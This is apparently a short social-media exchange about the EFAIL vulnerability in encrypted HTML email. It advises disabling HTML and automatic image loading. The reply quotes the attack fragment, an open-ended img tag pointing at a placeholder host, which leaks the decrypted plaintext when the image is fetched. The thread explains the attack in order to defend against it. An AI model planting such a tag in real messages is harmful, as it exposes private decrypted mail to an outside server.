Ah, they've published their paper, but the tl;dr seems to be: Don't use HTML mails. If you receive an encrypted HTML mail, don't load external ressources. It's a nice attack, sure, but not trusting HTML mails in the first place is hardly a novel concept. Details: https://efail.de/ #gpg #pgp
@rixx
Yes, it appears that PGP (GPG) is NOT BROKEN per se, or at least not in a concerning way (the second attack worries me a bit more as it might allow forging the content, but that should be already mitigated by signature checking).
As usual, do not enable HTML nor auto-fetching of images. The attacks work by prepending an open-ended
<img src="example.com/
Tag to the e-mail body. example.com is then able to retrieve the whole plain-text when the image URL is fetched.
#efail